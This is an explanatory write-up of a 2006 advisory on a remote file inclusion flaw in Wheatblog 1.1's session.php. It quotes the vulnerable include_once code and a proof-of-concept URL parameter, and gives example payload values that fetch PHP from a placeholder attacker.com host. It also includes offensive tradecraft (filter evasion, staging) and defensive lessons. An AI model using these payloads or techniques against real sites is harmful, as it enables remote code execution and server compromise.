Wheatblog 1.1 Remote File Inclusion Explained

Wheatblog 1.1 Remote File Inclusion Explained
What this paper is
This paper describes a security vulnerability found in Wheatblog version 1.1. The vulnerability is a Remote File Inclusion (RFI) flaw in the session.php file. This means an attacker can trick the web application into including and executing arbitrary files from a remote server, potentially leading to code execution on the target system.
Simple technical breakdown
The core of the vulnerability lies in how the session.php script handles user-supplied input for the $wb_class_dir variable. This variable is used in an include_once statement without proper sanitization. An attacker can manipulate this variable to point to a malicious PHP file hosted on their own server. When the include_once directive processes this malicious path, it fetches and executes the code from the attacker's file, effectively giving the attacker control.
Complete code and payload walkthrough
The provided code snippet is from the session.php file of Wheatblog 1.1.
<?php
include_once("$wb_class_dir/classDatabase.php");
function Start_Session()
{
global $session_dir;
if ( $session_dir != '' )
session_save_path($session_dir);
if ( ! isset($_SESSION) )
{
session_start();
// Supposedly a fix for IE6
header('Cache-control: private');
My_Cache();
if ( ! isset($_SESSION['db']) || gettype($_SESSION['db']->db) != 'resource')
touchDatabaseSession();
}
}
?>Let's break down the meaningful parts:
<?php ... ?>: This denotes the start and end of PHP code.include_once("$wb_class_dir/classDatabase.php");: This is the critical line.include_once: This PHP construct includes and evaluates the specified file. If the file has already been included, it will not be included again."$wb_class_dir/classDatabase.php": This is the file path being included. The double quotes indicate that variables within the string will be parsed.$wb_class_dir: This is a global variable. The vulnerability arises because this variable is not properly sanitized before being used in theinclude_oncestatement. An attacker can control its value via a GET or POST parameter.classDatabase.php: This is the expected file to be included, likely containing database-related classes.
function Start_Session(): This defines a function namedStart_Session.global $session_dir;: This declares that the function will use the global variable$session_dir.if ( $session_dir != '' ) session_save_path($session_dir);: If$session_diris not empty, it sets the session save path. This is not directly part of the RFI, but related to session management.if ( ! isset($_SESSION) ): Checks if the session has been started.session_start();: Starts a new session or resumes an existing one.header('Cache-control: private');: Sets a cache control header, often to prevent caching of sensitive session data.My_Cache();: This is an unknown function. Its purpose and behavior are not provided in the snippet.if ( ! isset($_SESSION['db']) || gettype($_SESSION['db']->db) != 'resource') touchDatabaseSession();: This block checks if a database resource is stored in the session and, if not, callstouchDatabaseSession()(also an unknown function).
Proof of Concept:
server/includes/session.php?wb_class_dir=SHELL- This demonstrates how an attacker would exploit the vulnerability.
server/includes/session.php: The target script.?wb_class_dir=SHELL: This is the crucial part. The attacker sets thewb_class_dirparameter toSHELL.- When
include_once("$wb_class_dir/classDatabase.php");is executed, it becomesinclude_once("SHELL/classDatabase.php");. - If the web server is configured to allow
include_onceto fetch remote files (e.g.,allow_url_include = Oninphp.ini), and the attacker can control the value of$wb_class_dirto point to a remote URL, the vulnerability can be triggered.
Payload/Shellcode Explanation:
The paper itself does not contain explicit shellcode bytes. The "payload" here is the remote file path that the attacker supplies.
SHELL: In the context of the PoC,SHELLis not actual shellcode. It's a placeholder for a URL pointing to a malicious PHP script hosted on the attacker's server. For example, an attacker might use:http://attacker.com/backdoor.txt?
orhttp://attacker.com/shell.php?When the vulnerable script executes
include_once("http://attacker.com/backdoor.txt?/classDatabase.php");, PHP will attempt to fetchhttp://attacker.com/backdoor.txt. Ifbackdoor.txtcontains valid PHP code, it will be executed on the target server.
Mapping of code fragment to practical purpose:
include_once("$wb_class_dir/classDatabase.php");-> Vulnerable code: This line is where the RFI occurs because$wb_class_diris not validated.?wb_class_dir=SHELL-> Exploitation vector: This is how an attacker manipulates the$wb_class_dirvariable to point to a remote resource.
Practical details for offensive operations teams
- Required Access Level: Low. This is a web application vulnerability, exploitable via HTTP requests. No prior authentication or local access is typically required.
- Lab Preconditions:
- A target system running Wheatblog 1.1.
- A controlled attacker server capable of hosting a malicious PHP file.
- The target web server's PHP configuration must have
allow_url_fopenand/orallow_url_includeenabled inphp.ini.allow_url_includeis the more direct enabler for RFI, butallow_url_fopencan sometimes be leveraged in conjunction with other techniques.
- Tooling Assumptions:
- A web browser for manual testing or reconnaissance.
- A web proxy (e.g., Burp Suite, OWASP ZAP) to intercept and modify HTTP requests.
- A simple HTTP server (e.g., Python's
http.server, Apache, Nginx) on the attacker's machine to host the malicious PHP file. - A text editor to create the malicious PHP payload.
- Execution Pitfalls:
allow_url_fopen/allow_url_includedisabled: This is the most common and significant pitfall. If these PHP directives are off, the server will not fetch remote files.- Input Sanitization/Filtering: If any upstream filtering or WAF (Web Application Firewall) is in place that blocks URLs or specific characters (like
://), the exploit might be detected or blocked. - File Extension Mismatch: The
include_oncestatement expects a.phpfile. If the attacker's remote file has a different extension (e.g.,.txt), it might not be interpreted as PHP code by the target server, depending on its configuration. However, many RFI exploits rely on the target server's web server configuration to execute files with arbitrary extensions as PHP (e.g.,AddHandler application/x-httpd-php .txt). - Path Traversal: The vulnerability is specifically RFI. If the target is vulnerable to Local File Inclusion (LFI) but not RFI, the
wb_class_dirparameter would need to be manipulated differently (e.g.,../../etc/passwd). This paper focuses on RFI. session_save_path: If thesession_dirvariable is set and the attacker can control it to point to a writable location, they might be able to achieve arbitrary file write, which could then be leveraged for code execution. However, the primary RFI vector is through$wb_class_dir.
- Tradecraft Considerations:
- Reconnaissance: Identify the exact version of Wheatblog. Look for specific file paths and parameters in the application.
- Payload Hosting: Ensure the attacker's server is stable and accessible from the target. Use a common port (80 or 443) if possible.
- Obfuscation: If basic URL filtering is suspected, consider URL encoding or other obfuscation techniques for the payload URL.
- Staging: For more complex payloads, the initial RFI might download and execute a second-stage payload from the attacker's server.
- Telemetry: Monitor network traffic for outgoing connections from the target server to the attacker's IP address. Look for unusual file inclusions or execution patterns in web server logs.
Where this was used and when
- Context: This vulnerability was found in Wheatblog, a content management system (CMS) or blogging platform. Such vulnerabilities are typically found in web applications that process user-supplied input without adequate validation.
- When: Published in August 2006. This indicates the vulnerability existed and was known around that time. Exploits of this nature were common in the mid-2000s as web application security practices were less mature.
Defensive lessons for modern teams
- Input Validation is Paramount: Never trust user input. All external data, especially parameters used in file operations (like
include,require,fopen,readfile), must be strictly validated and sanitized. - Disable Dangerous PHP Directives: Ensure
allow_url_fopenandallow_url_includeare set toOffinphp.iniunless absolutely necessary for legitimate application functionality, and even then, implement extreme caution and strict controls. - Use Whitelisting: Instead of trying to blacklist dangerous characters or patterns, use a whitelist approach for allowed file paths or types.
- Web Application Firewalls (WAFs): Deploy and properly configure WAFs to detect and block common web attack patterns, including RFI attempts.
- Secure Coding Practices: Train developers on secure coding principles, including the dangers of file inclusion vulnerabilities and how to prevent them.
- Regular Patching and Updates: Keep all web applications, CMS, and their dependencies updated to the latest secure versions. Vendors often release patches for known vulnerabilities.
- Least Privilege: Configure web servers and applications to run with the minimum necessary privileges. This limits the impact if an exploit is successful.
ASCII visual (if applicable)
This vulnerability can be visualized as a direct path from an attacker's resource to the target application's execution context.
+-----------------+ +-------------------+ +----------------------+
| Attacker Server |----->| Target Web Server |----->| Wheatblog Application|
| (Hosts malicious| | (PHP Interpreter) | | (session.php) |
| PHP file) | +-------------------+ +----------------------+
+-----------------+ |
| (HTTP Request with controlled
| `wb_class_dir` parameter)
|
v
+-------------------+
| PHP `include_once`|
| (interprets remote|
| file as code) |
+-------------------+Source references
- Paper ID: 2174
- Paper Title: Wheatblog 1.1 - 'session.php' Remote File Inclusion
- Author: O.U.T.L.A.W
- Published: 2006-08-11
- Keywords: PHP, webapps
- Paper URL: https://www.exploit-db.com/papers/2174
- Raw URL: https://www.exploit-db.com/raw/2174
Original Exploit-DB Content (Verbatim)
###########################################################################################
# Aria-Security.net Advisory #
# Discovered by: O.U.T.L.A.W #
# < www.Aria-security.net > #
# Gr33t to: A.u.r.a & l2odon & DrtRp & Sh3ll #
###########################################################################################
<?php
include_once("$wb_class_dir/classDatabase.php");
function Start_Session()
{
global $session_dir;
if ( $session_dir != '' )
session_save_path($session_dir);
if ( ! isset($_SESSION) )
{
session_start();
// Supposedly a fix for IE6
header('Cache-control: private');
My_Cache();
if ( ! isset($_SESSION['db']) || gettype($_SESSION['db']->db) != 'resource')
touchDatabaseSession();
}
}
***********************************************************************
Proof of Concept:
server/includes/session.php?wb_class_dir=SHELL
Contact : Outlaw@aria-security.net
# milw0rm.com [2006-08-11]